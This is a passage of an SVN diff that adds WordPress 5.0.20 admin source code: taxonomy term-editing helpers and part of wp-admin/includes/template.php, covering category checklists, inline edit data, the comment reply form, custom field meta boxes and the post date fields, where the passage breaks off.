+ * @param string $taxonomy Optional. The taxonomy for which to retrieve terms. Default 'post_tag'.
+ * @return string|bool|WP_Error
+ */
+function get_tags_to_edit( $post_id, $taxonomy = 'post_tag' ) {
+	return get_terms_to_edit( $post_id, $taxonomy);
+}
+
+/**
+ * Get comma-separated list of terms available to edit for the given post ID.
+ *
+ * @since 2.8.0
+ *
+ * @param int    $post_id
+ * @param string $taxonomy Optional. The taxonomy for which to retrieve terms. Default 'post_tag'.
+ * @return string|bool|WP_Error
+ */
+function get_terms_to_edit( $post_id, $taxonomy = 'post_tag' ) {
+	$post_id = (int) $post_id;
+	if ( !$post_id )
+		return false;
+
+	$terms = get_object_term_cache( $post_id, $taxonomy );
+	if ( false === $terms ) {
+		$terms = wp_get_object_terms( $post_id, $taxonomy );
+		wp_cache_add( $post_id, wp_list_pluck( $terms, 'term_id' ), $taxonomy . '_relationships' );
+	}
+
+	if ( ! $terms ) {
+		return false;
+	}
+	if ( is_wp_error( $terms ) ) {
+		return $terms;
+	}
+	$term_names = array();
+	foreach ( $terms as $term ) {
+		$term_names[] = $term->name;
+	}
+
+	$terms_to_edit = esc_attr( join( ',', $term_names ) );
+
+	/**
+	 * Filters the comma-separated list of terms available to edit.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @see get_terms_to_edit()
+	 *
+	 * @param array  $terms_to_edit An array of terms.
+	 * @param string $taxonomy     The taxonomy for which to retrieve terms. Default 'post_tag'.
+	 */
+	$terms_to_edit = apply_filters( 'terms_to_edit', $terms_to_edit, $taxonomy );
+
+	return $terms_to_edit;
+}
+
+/**
+ * Add a new term to the database if it does not already exist.
+ *
+ * @since 2.8.0
+ *
+ * @param int|string $tag_name
+ * @param string $taxonomy Optional. The taxonomy for which to retrieve terms. Default 'post_tag'.
+ * @return array|WP_Error
+ */
+function wp_create_term($tag_name, $taxonomy = 'post_tag') {
+	if ( $id = term_exists($tag_name, $taxonomy) )
+		return $id;
+
+	return wp_insert_term($tag_name, $taxonomy);
+}
Index: /tags/5.0.20/src/wp-admin/includes/template.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/template.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/template.php	(revision 56912)
@@ -0,0 +1,2340 @@
+<?php
+/**
+ * Template WordPress Administration API.
+ *
+ * A Big Mess. Also some neat functions that are nicely written.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** Walker_Category_Checklist class */
+require_once( ABSPATH . 'wp-admin/includes/class-walker-category-checklist.php' );
+
+/** WP_Internal_Pointers class */
+require_once( ABSPATH . 'wp-admin/includes/class-wp-internal-pointers.php' );
+
+//
+// Category Checklists
+//
+
+/**
+ * Output an unordered list of checkbox input elements labeled with category names.
+ *
+ * @since 2.5.1
+ *
+ * @see wp_terms_checklist()
+ *
+ * @param int    $post_id              Optional. Post to generate a categories checklist for. Default 0.
+ *                                     $selected_cats must not be an array. Default 0.
+ * @param int    $descendants_and_self Optional. ID of the category to output along with its descendants.
+ *                                     Default 0.
+ * @param array  $selected_cats        Optional. List of categories to mark as checked. Default false.
+ * @param array  $popular_cats         Optional. List of categories to receive the "popular-category" class.
+ *                                     Default false.
+ * @param object $walker               Optional. Walker object to use to build the output.
+ *                                     Default is a Walker_Category_Checklist instance.
+ * @param bool   $checked_ontop        Optional. Whether to move checked items out of the hierarchy and to
+ *                                     the top of the list. Default true.
+ */
+function wp_category_checklist( $post_id = 0, $descendants_and_self = 0, $selected_cats = false, $popular_cats = false, $walker = null, $checked_ontop = true ) {
+	wp_terms_checklist( $post_id, array(
+		'taxonomy' => 'category',
+		'descendants_and_self' => $descendants_and_self,
+		'selected_cats' => $selected_cats,
+		'popular_cats' => $popular_cats,
+		'walker' => $walker,
+		'checked_ontop' => $checked_ontop
+	) );
+}
+
+/**
+ * Output an unordered list of checkbox input elements labelled with term names.
+ *
+ * Taxonomy-independent version of wp_category_checklist().
+ *
+ * @since 3.0.0
+ * @since 4.4.0 Introduced the `$echo` argument.
+ *
+ * @param int          $post_id Optional. Post ID. Default 0.
+ * @param array|string $args {
+ *     Optional. Array or string of arguments for generating a terms checklist. Default empty array.
+ *
+ *     @type int    $descendants_and_self ID of the category to output along with its descendants.
+ *                                        Default 0.
+ *     @type array  $selected_cats        List of categories to mark as checked. Default false.
+ *     @type array  $popular_cats         List of categories to receive the "popular-category" class.
+ *                                        Default false.
+ *     @type object $walker               Walker object to use to build the output.
+ *                                        Default is a Walker_Category_Checklist instance.
+ *     @type string $taxonomy             Taxonomy to generate the checklist for. Default 'category'.
+ *     @type bool   $checked_ontop        Whether to move checked items out of the hierarchy and to
+ *                                        the top of the list. Default true.
+ *     @type bool   $echo                 Whether to echo the generated markup. False to return the markup instead
+ *                                        of echoing it. Default true.
+ * }
+ */
+function wp_terms_checklist( $post_id = 0, $args = array() ) {
+ 	$defaults = array(
+		'descendants_and_self' => 0,
+		'selected_cats' => false,
+		'popular_cats' => false,
+		'walker' => null,
+		'taxonomy' => 'category',
+		'checked_ontop' => true,
+		'echo' => true,
+	);
+
+	/**
+	 * Filters the taxonomy terms checklist arguments.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @see wp_terms_checklist()
+	 *
+	 * @param array $args    An array of arguments.
+	 * @param int   $post_id The post ID.
+	 */
+	$params = apply_filters( 'wp_terms_checklist_args', $args, $post_id );
+
+	$r = wp_parse_args( $params, $defaults );
+
+	if ( empty( $r['walker'] ) || ! ( $r['walker'] instanceof Walker ) ) {
+		$walker = new Walker_Category_Checklist;
+	} else {
+		$walker = $r['walker'];
+	}
+
+	$taxonomy = $r['taxonomy'];
+	$descendants_and_self = (int) $r['descendants_and_self'];
+
+	$args = array( 'taxonomy' => $taxonomy );
+
+	$tax = get_taxonomy( $taxonomy );
+	$args['disabled'] = ! current_user_can( $tax->cap->assign_terms );
+
+	$args['list_only'] = ! empty( $r['list_only'] );
+
+	if ( is_array( $r['selected_cats'] ) ) {
+		$args['selected_cats'] = $r['selected_cats'];
+	} elseif ( $post_id ) {
+		$args['selected_cats'] = wp_get_object_terms( $post_id, $taxonomy, array_merge( $args, array( 'fields' => 'ids' ) ) );
+	} else {
+		$args['selected_cats'] = array();
+	}
+	if ( is_array( $r['popular_cats'] ) ) {
+		$args['popular_cats'] = $r['popular_cats'];
+	} else {
+		$args['popular_cats'] = get_terms( $taxonomy, array(
+			'fields' => 'ids',
+			'orderby' => 'count',
+			'order' => 'DESC',
+			'number' => 10,
+			'hierarchical' => false
+		) );
+	}
+	if ( $descendants_and_self ) {
+		$categories = (array) get_terms( $taxonomy, array(
+			'child_of' => $descendants_and_self,
+			'hierarchical' => 0,
+			'hide_empty' => 0
+		) );
+		$self = get_term( $descendants_and_self, $taxonomy );
+		array_unshift( $categories, $self );
+	} else {
+		$categories = (array) get_terms( $taxonomy, array( 'get' => 'all' ) );
+	}
+
+	$output = '';
+
+	if ( $r['checked_ontop'] ) {
+		// Post process $categories rather than adding an exclude to the get_terms() query to keep the query the same across all posts (for any query cache)
+		$checked_categories = array();
+		$keys = array_keys( $categories );
+
+		foreach ( $keys as $k ) {
+			if ( in_array( $categories[$k]->term_id, $args['selected_cats'] ) ) {
+				$checked_categories[] = $categories[$k];
+				unset( $categories[$k] );
+			}
+		}
+
+		// Put checked cats on top
+		$output .= call_user_func_array( array( $walker, 'walk' ), array( $checked_categories, 0, $args ) );
+	}
+	// Then the rest of them
+	$output .= call_user_func_array( array( $walker, 'walk' ), array( $categories, 0, $args ) );
+
+	if ( $r['echo'] ) {
+		echo $output;
+	}
+
+	return $output;
+}
+
+/**
+ * Retrieve a list of the most popular terms from the specified taxonomy.
+ *
+ * If the $echo argument is true then the elements for a list of checkbox
+ * `<input>` elements labelled with the names of the selected terms is output.
+ * If the $post_ID global isn't empty then the terms associated with that
+ * post will be marked as checked.
+ *
+ * @since 2.5.0
+ *
+ * @param string $taxonomy Taxonomy to retrieve terms from.
+ * @param int $default Not used.
+ * @param int $number Number of terms to retrieve. Defaults to 10.
+ * @param bool $echo Optionally output the list as well. Defaults to true.
+ * @return array List of popular term IDs.
+ */
+function wp_popular_terms_checklist( $taxonomy, $default = 0, $number = 10, $echo = true ) {
+	$post = get_post();
+
+	if ( $post && $post->ID )
+		$checked_terms = wp_get_object_terms($post->ID, $taxonomy, array('fields'=>'ids'));
+	else
+		$checked_terms = array();
+
+	$terms = get_terms( $taxonomy, array( 'orderby' => 'count', 'order' => 'DESC', 'number' => $number, 'hierarchical' => false ) );
+
+	$tax = get_taxonomy($taxonomy);
+
+	$popular_ids = array();
+	foreach ( (array) $terms as $term ) {
+		$popular_ids[] = $term->term_id;
+		if ( !$echo ) // Hack for Ajax use.
+			continue;
+		$id = "popular-$taxonomy-$term->term_id";
+		$checked = in_array( $term->term_id, $checked_terms ) ? 'checked="checked"' : '';
+		?>
+
+		<li id="<?php echo $id; ?>" class="popular-category">
+			<label class="selectit">
+				<input id="in-<?php echo $id; ?>" type="checkbox" <?php echo $checked; ?> value="<?php echo (int) $term->term_id; ?>" <?php disabled( ! current_user_can( $tax->cap->assign_terms ) ); ?> />
+				<?php
+				/** This filter is documented in wp-includes/category-template.php */
+				echo esc_html( apply_filters( 'the_category', $term->name, '', '' ) );
+				?>
+			</label>
+		</li>
+
+		<?php
+	}
+	return $popular_ids;
+}
+
+/**
+ * Outputs a link category checklist element.
+ *
+ * @since 2.5.1
+ *
+ * @param int $link_id
+ */
+function wp_link_category_checklist( $link_id = 0 ) {
+	$default = 1;
+
+	$checked_categories = array();
+
+	if ( $link_id ) {
+		$checked_categories = wp_get_link_cats( $link_id );
+		// No selected categories, strange
+		if ( ! count( $checked_categories ) ) {
+			$checked_categories[] = $default;
+		}
+	} else {
+		$checked_categories[] = $default;
+	}
+
+	$categories = get_terms( 'link_category', array( 'orderby' => 'name', 'hide_empty' => 0 ) );
+
+	if ( empty( $categories ) )
+		return;
+
+	foreach ( $categories as $category ) {
+		$cat_id = $category->term_id;
+
+		/** This filter is documented in wp-includes/category-template.php */
+		$name = esc_html( apply_filters( 'the_category', $category->name, '', '' ) );
+		$checked = in_array( $cat_id, $checked_categories ) ? ' checked="checked"' : '';
+		echo '<li id="link-category-', $cat_id, '"><label for="in-link-category-', $cat_id, '" class="selectit"><input value="', $cat_id, '" type="checkbox" name="link_category[]" id="in-link-category-', $cat_id, '"', $checked, '/> ', $name, "</label></li>";
+	}
+}
+
+/**
+ * Adds hidden fields with the data for use in the inline editor for posts and pages.
+ *
+ * @since 2.7.0
+ *
+ * @param WP_Post $post Post object.
+ */
+function get_inline_data($post) {
+	$post_type_object = get_post_type_object($post->post_type);
+	if ( ! current_user_can( 'edit_post', $post->ID ) )
+		return;
+
+	$title = esc_textarea( trim( $post->post_title ) );
+
+	/** This filter is documented in wp-admin/edit-tag-form.php */
+	echo '
+<div class="hidden" id="inline_' . $post->ID . '">
+	<div class="post_title">' . $title . '</div>' .
+	/** This filter is documented in wp-admin/edit-tag-form.php */
+	'<div class="post_name">' . apply_filters( 'editable_slug', $post->post_name, $post ) . '</div>
+	<div class="post_author">' . $post->post_author . '</div>
+	<div class="comment_status">' . esc_html( $post->comment_status ) . '</div>
+	<div class="ping_status">' . esc_html( $post->ping_status ) . '</div>
+	<div class="_status">' . esc_html( $post->post_status ) . '</div>
+	<div class="jj">' . mysql2date( 'd', $post->post_date, false ) . '</div>
+	<div class="mm">' . mysql2date( 'm', $post->post_date, false ) . '</div>
+	<div class="aa">' . mysql2date( 'Y', $post->post_date, false ) . '</div>
+	<div class="hh">' . mysql2date( 'H', $post->post_date, false ) . '</div>
+	<div class="mn">' . mysql2date( 'i', $post->post_date, false ) . '</div>
+	<div class="ss">' . mysql2date( 's', $post->post_date, false ) . '</div>
+	<div class="post_password">' . esc_html( $post->post_password ) . '</div>';
+
+	if ( $post_type_object->hierarchical ) {
+		echo '<div class="post_parent">' . $post->post_parent . '</div>';
+	}
+
+	echo '<div class="page_template">' . ( $post->page_template ? esc_html( $post->page_template ) : 'default' ) . '</div>';
+
+	if ( post_type_supports( $post->post_type, 'page-attributes' ) ) {
+		echo '<div class="menu_order">' . $post->menu_order . '</div>';
+	}
+
+	$taxonomy_names = get_object_taxonomies( $post->post_type );
+	foreach ( $taxonomy_names as $taxonomy_name) {
+		$taxonomy = get_taxonomy( $taxonomy_name );
+
+		if ( $taxonomy->hierarchical && $taxonomy->show_ui ) {
+
+			$terms = get_object_term_cache( $post->ID, $taxonomy_name );
+			if ( false === $terms ) {
+				$terms = wp_get_object_terms( $post->ID, $taxonomy_name );
+				wp_cache_add( $post->ID, wp_list_pluck( $terms, 'term_id' ), $taxonomy_name . '_relationships' );
+			}
+			$term_ids = empty( $terms ) ? array() : wp_list_pluck( $terms, 'term_id' );
+
+			echo '<div class="post_category" id="' . $taxonomy_name . '_' . $post->ID . '">' . implode( ',', $term_ids ) . '</div>';
+
+		} elseif ( $taxonomy->show_ui ) {
+
+			$terms_to_edit = get_terms_to_edit( $post->ID, $taxonomy_name );
+			if ( ! is_string( $terms_to_edit ) ) {
+				$terms_to_edit = '';
+			}
+
+			echo '<div class="tags_input" id="'.$taxonomy_name.'_'.$post->ID.'">'
+				. esc_html( str_replace( ',', ', ', $terms_to_edit ) ) . '</div>';
+
+		}
+	}
+
+	if ( !$post_type_object->hierarchical )
+		echo '<div class="sticky">' . (is_sticky($post->ID) ? 'sticky' : '') . '</div>';
+
+	if ( post_type_supports( $post->post_type, 'post-formats' ) )
+		echo '<div class="post_format">' . esc_html( get_post_format( $post->ID ) ) . '</div>';
+
+	/**
+	 * Fires after outputting the fields for the inline editor for posts and pages.
+	 *
+	 * @since 4.9.8
+	 *
+	 * @param WP_Post      $post             The current post object.
+	 * @param WP_Post_Type $post_type_object The current post's post type object.
+	 */
+	do_action( 'add_inline_data', $post, $post_type_object );
+
+	echo '</div>';
+}
+
+/**
+ * Outputs the in-line comment reply-to form in the Comments list table.
+ *
+ * @since 2.7.0
+ *
+ * @global WP_List_Table $wp_list_table
+ *
+ * @param int    $position
+ * @param bool   $checkbox
+ * @param string $mode
+ * @param bool   $table_row
+ */
+function wp_comment_reply( $position = 1, $checkbox = false, $mode = 'single', $table_row = true ) {
+	global $wp_list_table;
+	/**
+	 * Filters the in-line comment reply-to form output in the Comments
+	 * list table.
+	 *
+	 * Returning a non-empty value here will short-circuit display
+	 * of the in-line comment-reply form in the Comments list table,
+	 * echoing the returned value instead.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @see wp_comment_reply()
+	 *
+	 * @param string $content The reply-to form content.
+	 * @param array  $args    An array of default args.
+	 */
+	$content = apply_filters( 'wp_comment_reply', '', array( 'position' => $position, 'checkbox' => $checkbox, 'mode' => $mode ) );
+
+	if ( ! empty($content) ) {
+		echo $content;
+		return;
+	}
+
+	if ( ! $wp_list_table ) {
+		if ( $mode == 'single' ) {
+			$wp_list_table = _get_list_table('WP_Post_Comments_List_Table');
+		} else {
+			$wp_list_table = _get_list_table('WP_Comments_List_Table');
+		}
+	}
+
+?>
+<form method="get">
+<?php if ( $table_row ) : ?>
+<table style="display:none;"><tbody id="com-reply"><tr id="replyrow" class="inline-edit-row" style="display:none;"><td colspan="<?php echo $wp_list_table->get_column_count(); ?>" class="colspanchange">
+<?php else : ?>
+<div id="com-reply" style="display:none;"><div id="replyrow" style="display:none;">
+<?php endif; ?>
+	<fieldset class="comment-reply">
+	<legend>
+		<span class="hidden" id="editlegend"><?php _e( 'Edit Comment' ); ?></span>
+		<span class="hidden" id="replyhead"><?php _e( 'Reply to Comment' ); ?></span>
+		<span class="hidden" id="addhead"><?php _e( 'Add new Comment' ); ?></span>
+	</legend>
+
+	<div id="replycontainer">
+	<label for="replycontent" class="screen-reader-text"><?php _e( 'Comment' ); ?></label>
+	<?php
+	$quicktags_settings = array( 'buttons' => 'strong,em,link,block,del,ins,img,ul,ol,li,code,close' );
+	wp_editor( '', 'replycontent', array( 'media_buttons' => false, 'tinymce' => false, 'quicktags' => $quicktags_settings ) );
+	?>
+	</div>
+
+	<div id="edithead" style="display:none;">
+		<div class="inside">
+		<label for="author-name"><?php _e( 'Name' ) ?></label>
+		<input type="text" name="newcomment_author" size="50" value="" id="author-name" />
+		</div>
+
+		<div class="inside">
+		<label for="author-email"><?php _e('Email') ?></label>
+		<input type="text" name="newcomment_author_email" size="50" value="" id="author-email" />
+		</div>
+
+		<div class="inside">
+		<label for="author-url"><?php _e('URL') ?></label>
+		<input type="text" id="author-url" name="newcomment_author_url" class="code" size="103" value="" />
+		</div>
+	</div>
+
+	<div id="replysubmit" class="submit">
+		<p>
+			<a href="#comments-form" class="save button button-primary alignright">
+				<span id="addbtn" style="display: none;"><?php _e( 'Add Comment' ); ?></span>
+				<span id="savebtn" style="display: none;"><?php _e( 'Update Comment' ); ?></span>
+				<span id="replybtn" style="display: none;"><?php _e( 'Submit Reply' ); ?></span>
+			</a>
+			<a href="#comments-form" class="cancel button alignleft"><?php _e( 'Cancel' ); ?></a>
+			<span class="waiting spinner"></span>
+		</p>
+		<br class="clear" />
+		<div class="notice notice-error notice-alt inline hidden">
+			<p class="error"></p>
+		</div>
+	</div>
+
+	<input type="hidden" name="action" id="action" value="" />
+	<input type="hidden" name="comment_ID" id="comment_ID" value="" />
+	<input type="hidden" name="comment_post_ID" id="comment_post_ID" value="" />
+	<input type="hidden" name="status" id="status" value="" />
+	<input type="hidden" name="position" id="position" value="<?php echo $position; ?>" />
+	<input type="hidden" name="checkbox" id="checkbox" value="<?php echo $checkbox ? 1 : 0; ?>" />
+	<input type="hidden" name="mode" id="mode" value="<?php echo esc_attr($mode); ?>" />
+	<?php
+		wp_nonce_field( 'replyto-comment', '_ajax_nonce-replyto-comment', false );
+		if ( current_user_can( 'unfiltered_html' ) )
+			wp_nonce_field( 'unfiltered-html-comment', '_wp_unfiltered_html_comment', false );
+	?>
+	</fieldset>
+<?php if ( $table_row ) : ?>
+</td></tr></tbody></table>
+<?php else : ?>
+</div></div>
+<?php endif; ?>
+</form>
+<?php
+}
+
+/**
+ * Output 'undo move to trash' text for comments
+ *
+ * @since 2.9.0
+ */
+function wp_comment_trashnotice() {
+?>
+<div class="hidden" id="trash-undo-holder">
+	<div class="trash-undo-inside"><?php printf(__('Comment by %s moved to the trash.'), '<strong></strong>'); ?> <span class="undo untrash"><a href="#"><?php _e('Undo'); ?></a></span></div>
+</div>
+<div class="hidden" id="spam-undo-holder">
+	<div class="spam-undo-inside"><?php printf(__('Comment by %s marked as spam.'), '<strong></strong>'); ?> <span class="undo unspam"><a href="#"><?php _e('Undo'); ?></a></span></div>
+</div>
+<?php
+}
+
+/**
+ * Outputs a post's public meta data in the Custom Fields meta box.
+ *
+ * @since 1.2.0
+ *
+ * @param array $meta
+ */
+function list_meta( $meta ) {
+	// Exit if no meta
+	if ( ! $meta ) {
+		echo '
+<table id="list-table" style="display: none;">
+	<thead>
+	<tr>
+		<th class="left">' . _x( 'Name', 'meta name' ) . '</th>
+		<th>' . __( 'Value' ) . '</th>
+	</tr>
+	</thead>
+	<tbody id="the-list" data-wp-lists="list:meta">
+	<tr><td></td></tr>
+	</tbody>
+</table>'; //TBODY needed for list-manipulation JS
+		return;
+	}
+	$count = 0;
+?>
+<table id="list-table">
+	<thead>
+	<tr>
+		<th class="left"><?php _ex( 'Name', 'meta name' ) ?></th>
+		<th><?php _e( 'Value' ) ?></th>
+	</tr>
+	</thead>
+	<tbody id='the-list' data-wp-lists='list:meta'>
+<?php
+	foreach ( $meta as $entry )
+		echo _list_meta_row( $entry, $count );
+?>
+	</tbody>
+</table>
+<?php
+}
+
+/**
+ * Outputs a single row of public meta data in the Custom Fields meta box.
+ *
+ * @since 2.5.0
+ *
+ * @staticvar string $update_nonce
+ *
+ * @param array $entry
+ * @param int   $count
+ * @return string
+ */
+function _list_meta_row( $entry, &$count ) {
+	static $update_nonce = '';
+
+	if ( is_protected_meta( $entry['meta_key'], 'post' ) )
+		return '';
+
+	if ( ! $update_nonce )
+		$update_nonce = wp_create_nonce( 'add-meta' );
+
+	$r = '';
+	++ $count;
+
+	if ( is_serialized( $entry['meta_value'] ) ) {
+		if ( is_serialized_string( $entry['meta_value'] ) ) {
+			// This is a serialized string, so we should display it.
+			$entry['meta_value'] = maybe_unserialize( $entry['meta_value'] );
+		} else {
+			// This is a serialized array/object so we should NOT display it.
+			--$count;
+			return '';
+		}
+	}
+
+	$entry['meta_key'] = esc_attr($entry['meta_key']);
+	$entry['meta_value'] = esc_textarea( $entry['meta_value'] ); // using a <textarea />
+	$entry['meta_id'] = (int) $entry['meta_id'];
+
+	$delete_nonce = wp_create_nonce( 'delete-meta_' . $entry['meta_id'] );
+
+	$r .= "\n\t<tr id='meta-{$entry['meta_id']}'>";
+	$r .= "\n\t\t<td class='left'><label class='screen-reader-text' for='meta-{$entry['meta_id']}-key'>" . __( 'Key' ) . "</label><input name='meta[{$entry['meta_id']}][key]' id='meta-{$entry['meta_id']}-key' type='text' size='20' value='{$entry['meta_key']}' />";
+
+	$r .= "\n\t\t<div class='submit'>";
+	$r .= get_submit_button( __( 'Delete' ), 'deletemeta small', "deletemeta[{$entry['meta_id']}]", false, array( 'data-wp-lists' => "delete:the-list:meta-{$entry['meta_id']}::_ajax_nonce=$delete_nonce" ) );
+	$r .= "\n\t\t";
+	$r .= get_submit_button( __( 'Update' ), 'updatemeta small', "meta-{$entry['meta_id']}-submit", false, array( 'data-wp-lists' => "add:the-list:meta-{$entry['meta_id']}::_ajax_nonce-add-meta=$update_nonce" ) );
+	$r .= "</div>";
+	$r .= wp_nonce_field( 'change-meta', '_ajax_nonce', false, false );
+	$r .= "</td>";
+
+	$r .= "\n\t\t<td><label class='screen-reader-text' for='meta-{$entry['meta_id']}-value'>" . __( 'Value' ) . "</label><textarea name='meta[{$entry['meta_id']}][value]' id='meta-{$entry['meta_id']}-value' rows='2' cols='30'>{$entry['meta_value']}</textarea></td>\n\t</tr>";
+	return $r;
+}
+
+/**
+ * Prints the form in the Custom Fields meta box.
+ *
+ * @since 1.2.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param WP_Post $post Optional. The post being edited.
+ */
+function meta_form( $post = null ) {
+	global $wpdb;
+	$post = get_post( $post );
+
+	/**
+	 * Filters values for the meta key dropdown in the Custom Fields meta box.
+	 *
+	 * Returning a non-null value will effectively short-circuit and avoid a
+	 * potentially expensive query against postmeta.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param array|null $keys Pre-defined meta keys to be used in place of a postmeta query. Default null.
+	 * @param WP_Post    $post The current post object.
+	 */
+	$keys = apply_filters( 'postmeta_form_keys', null, $post );
+
+	if ( null === $keys ) {
+		/**
+		 * Filters the number of custom fields to retrieve for the drop-down
+		 * in the Custom Fields meta box.
+		 *
+		 * @since 2.1.0
+		 *
+		 * @param int $limit Number of custom fields to retrieve. Default 30.
+		 */
+		$limit = apply_filters( 'postmeta_form_limit', 30 );
+		$sql = "SELECT DISTINCT meta_key
+			FROM $wpdb->postmeta
+			WHERE meta_key NOT BETWEEN '_' AND '_z'
+			HAVING meta_key NOT LIKE %s
+			ORDER BY meta_key
+			LIMIT %d";
+		$keys = $wpdb->get_col( $wpdb->prepare( $sql, $wpdb->esc_like( '_' ) . '%', $limit ) );
+	}
+
+	if ( $keys ) {
+		natcasesort( $keys );
+		$meta_key_input_id = 'metakeyselect';
+	} else {
+		$meta_key_input_id = 'metakeyinput';
+	}
+?>
+<p><strong><?php _e( 'Add New Custom Field:' ) ?></strong></p>
+<table id="newmeta">
+<thead>
+<tr>
+<th class="left"><label for="<?php echo $meta_key_input_id; ?>"><?php _ex( 'Name', 'meta name' ) ?></label></th>
+<th><label for="metavalue"><?php _e( 'Value' ) ?></label></th>
+</tr>
+</thead>
+
+<tbody>
+<tr>
+<td id="newmetaleft" class="left">
+<?php if ( $keys ) { ?>
+<select id="metakeyselect" name="metakeyselect">
+<option value="#NONE#"><?php _e( '&mdash; Select &mdash;' ); ?></option>
+<?php
+
+	foreach ( $keys as $key ) {
+		if ( is_protected_meta( $key, 'post' ) || ! current_user_can( 'add_post_meta', $post->ID, $key ) )
+			continue;
+		echo "\n<option value='" . esc_attr($key) . "'>" . esc_html($key) . "</option>";
+	}
+?>
+</select>
+<input class="hide-if-js" type="text" id="metakeyinput" name="metakeyinput" value="" />
+<a href="#postcustomstuff" class="hide-if-no-js" onclick="jQuery('#metakeyinput, #metakeyselect, #enternew, #cancelnew').toggle();return false;">
+<span id="enternew"><?php _e('Enter new'); ?></span>
+<span id="cancelnew" class="hidden"><?php _e('Cancel'); ?></span></a>
+<?php } else { ?>
+<input type="text" id="metakeyinput" name="metakeyinput" value="" />
+<?php } ?>
+</td>
+<td><textarea id="metavalue" name="metavalue" rows="2" cols="25"></textarea></td>
+</tr>
+
+<tr><td colspan="2">
+<div class="submit">
+<?php submit_button( __( 'Add Custom Field' ), '', 'addmeta', false, array( 'id' => 'newmeta-submit', 'data-wp-lists' => 'add:the-list:newmeta' ) ); ?>
+</div>
+<?php wp_nonce_field( 'add-meta', '_ajax_nonce-add-meta', false ); ?>
+</td></tr>
+</tbody>
+</table>
+<?php
+
+}
+
+/**
+ * Print out HTML form date elements for editing post or comment publish date.
+ *
+ * @since 0.71
+ * @since 4.4.0 Converted to use get_comment() instead of the global `$comment`.
+ *
+ * @global WP_Locale  $wp_locale
+ *
+ * @param int|bool $edit      Accepts 1|true for editing the date, 0|false for adding the date.
+ * @param int|bool $for_post  Accepts 1|true for applying the date to a post, 0|false for a comment.
+ * @param int      $tab_index The tabindex attribute to add. Default 0.
+ * @param int|bool $multi     Optional. Whether the additional fields and buttons should be added.
+ *                            Default 0|false.
+ */
+function touch_time( $edit = 1, $for_post = 1, $tab_index = 0, $multi = 0 ) {
+	global $wp_locale;
+	$post = get_post();
+
+	if ( $for_post )
+		$edit = ! ( in_array($post->post_status, array('draft', 'pending') ) && (!$post->post_date_gmt || '0000-00-00 00:00:00' == $post->post_date_gmt ) );
+
+	$tab_index_attribute = '';
+	if ( (int) $tab_index > 0 )
+		$tab_index_attribute = " tabindex=\"$tab_index\"";
+
+	// todo: Remove this?
+	// echo '<label for="timestamp" style="display: block;"><input type="checkbox" class="checkbox" name="edit_date" value="1" id="timestamp"'.$tab_index_attribute.' /> '.__( 'Edit timestamp' ).'</label><br />';
+
+	$time_adj = current_time('timestamp');
+	$post_date = ($for_post) ? $post->post_date : get_comment()->comment_date;
+	$jj = ($edit) ? mysql2date( 'd', $post_date, false ) : gmdate( 'd', $time_adj );
+	$mm = ($edit) ? mysql2date( 'm', $post_date, false ) : gmdate( 'm', $time_adj );
+	$aa = ($edit) ? mysql2date( 'Y', $post_date, false ) : gmdate( 'Y', $time_adj );
+	$hh = ($edit) ? mysql2date( 'H', $post_date, false ) : gmdate( 'H', $time_adj );
+	$mn = ($edit) ? mysql2date( 'i', $post_date, false ) : gmdate( 'i', $time_adj );
+	$ss = ($edit) ? mysql2date( 's', $post_date, false ) : gmdate( 's', $time_adj );
+
+	$cur_jj = gmdate( 'd', $time_adj );
+	$cur_mm = gmdate( 'm', $time_adj );
+	$cur_aa = gmdate( 'Y', $time_adj );
+	$cur_hh = gmdate( 'H', $time_adj );
+	$cur_mn = gmdate( 'i', $time_adj );
+
+	$month = '<label><span class="screen-reader-text">' . __( 'Month' ) . '</span><select ' . ( $multi ? '' : 'id="mm" ' ) . 'name="mm"' . $tab_index_attribute . ">\n";
+	for ( $i = 1; $i < 13; $i = $i +1 ) {
+		$monthnum = zeroise($i, 2);
+		$monthtext = $wp_locale->get_month_abbrev( $wp_locale->get_month( $i ) );
+		$month .= "\t\t\t" . '<option value="' . $monthnum . '" data-text="' . $monthtext . '" ' . selected( $monthnum, $mm, false ) . '>';
+		/* translators: 1: month number (01, 02, etc.), 2: month abbreviation */
+		$month .= sprintf( __( '%1$s-%2$s' ), $monthnum, $monthtext ) . "</option>\n";
+	}
+	$month .= '</select></label>';
+
+	$day = '<label><span class="screen-reader-text">' . __( 'Day' ) . '</span><input type="text" ' . ( $multi ? '' : 'id="jj" ' ) . 'name="jj" value="' . $jj . '" size="2" maxlength="2"' . $tab_index_attribute . ' autocomplete="off" /></label>';
+	$year = '<label><span class="screen-reader-text">' . __( 'Year' ) . '</span><input type="text" ' . ( $multi ? '' : 'id="aa" ' ) . 'name="aa" value="' . $aa . '" size="4" maxlength="4"' . $tab_index_attribute . ' autocomplete="off" /></label>';
+	$hour = '<label><span class="screen-reader-text">' . __( 'Hour' ) . '</span><input type="text" ' . ( $multi ? '' : 'id="hh" ' ) . 'name="hh" value="' . $hh . '" size="2" maxlength="2"' . $tab_index_attribute . ' autocomplete="off" /></label>';
+	$minute = '<label><span class="screen-reader-text">' . __( 'Minute' ) . '</span><input type="text" ' . ( $multi ? '' : 'id="mn" ' ) . 'name="mn" value="' . $mn . '" size="2" maxlength="2"' . $tab_index_attribute . ' autocomplete="off" /></label>';
+
+	echo '<div class="timestamp-wrap">';
+	/* translators: 1: month, 2: day, 3: year, 4: hour, 5: minute */
+	printf( __( '%1$s %2$s, %3$s @ %4$s:%5$s' ), $month, $day, $year, $hour, $minute );
+
+	echo '</div><input type="hidden" id="ss" name="ss" value="' . $ss . '" />';
+
+	if ( $multi ) return;
+
+	echo "\n\n";
+	$map = array(
+		'mm' => array( $mm, $cur_mm ),
+		'jj' => array( $jj, $cur_jj ),
+		'aa' => array( $aa, $cur_aa ),
+		'hh' => array( $hh, $cur_hh ),
+		'mn' => array( $mn, $cur_mn ),
+	);
+	foreach ( $map as $timeunit => $value ) {
+		list( $unit, $curr ) = $value;
+
+		echo '<input type="hidden" id="hidden_' . $timeunit . '" name="hidden_' . $timeunit . '" value="' . $unit . '" />' . "\n";
